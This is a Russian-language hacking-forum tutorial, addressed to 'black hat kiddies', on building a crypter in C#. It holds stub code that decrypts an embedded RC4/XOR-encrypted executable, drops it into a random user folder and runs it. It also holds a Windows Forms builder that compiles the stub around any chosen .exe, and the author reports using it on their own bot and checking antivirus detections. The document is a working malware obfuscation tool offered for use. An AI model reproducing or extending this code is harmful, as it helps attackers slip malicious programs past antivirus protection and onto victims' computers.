Пишем свой криптор на C#.
Привет, black hat kiddies, сегодня мы напишем свой полу-FUD криптор на языке богов (no) C#.
Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
- Имея байткод (любой .exe). То есть, вы сможете закриптовать файл, не зависимо от языка, на котором написана программа.
- Имея исходники. Этот вариант предназначен только под программы, написанные на одном (с криптором) ЯП.
- Крипторы с полиморфом/метаморфом. Если вкратце, то при помощи этих техник ваш криптор будет жить дольше, за счёт изменения кода файла, но при этом без изменения функционала.
Подробнее о полиморфизме и метаморфизме можно почитать тут и тут.
В нашем случае мы будем писать криптор имея байткод. Приступим.
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
using System; using System.Diagnostics; using System.IO; using System.Text; using System.Threading;
И теперь сделаем метод дропа файла в рандом папку и его запуска:
static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла { string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл к { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData Path.GetTempPath() // Temp };
Random random = new Random(); // Создаём переменную random, для генерации случайного числа int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
try { if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке { File.Delete(filePath); // Если файл существует, то удаляем его } File.WriteAllBytes(filePath, bytes); // Записываем байты в файл Process.Start(filePath); // Запускаем }
catch { } }
Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,
И импортируйте их в проект:
Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
static void Main() { Thread.Sleep(6000); // Делаем небольшую задержку перед запуском byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты. byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4 byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл }
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
Добавим юзинги:
using Microsoft.CSharp; using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Forms;
В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:
Для кнопки выбора файла создаём диалоговое окно:
private void button1_Click(object sender, EventArgs e) { OpenFileDialog dialog = new OpenFileDialog(); dialog.Filter = "build.exe |*.exe"; // Фильтр if (dialog.ShowDialog() == DialogResult.OK) textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1 }
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
static string ByteArrayToString(byte[] ba) { return BitConverter.ToString(ba).Replace("-", ""); }
static string RandomString(int size) { Random random = new Random((int)DateTime.Now.Ticks);
StringBuilder builder = new StringBuilder(); char ch; for (int i = 0; i < size; i++) { ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65))); builder.Append(ch); }
return builder.ToString(); }
Ну и методы XOR и RC4 такие же.
Для кнопки генерации ключа получаем рандом строку:
private void button2_Click(object sender, EventArgs e) { Random rnd = new Random(); int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20 textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной }
Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
И добавим код для кнопки Build:
private void button3_Click(object sender, EventArgs e) { string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
CompilerParameters Params = new CompilerParameters(); Params.GenerateExecutable = true;
Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных Params.OutputAssembly = "Crypted.exe"; // Имя файла
string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
var settings = new Dictionary<string, string>(); settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) { foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом MessageBox.Show(err.ToString()); } else { MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд } }
Криптор готов, проверяем.
Ну и детекты (криптовал своего бота):
Ну, а на этом у меня всё, сам криптор вы можете найти на канале Lаборатория.
Dark $ide Admin, with love <3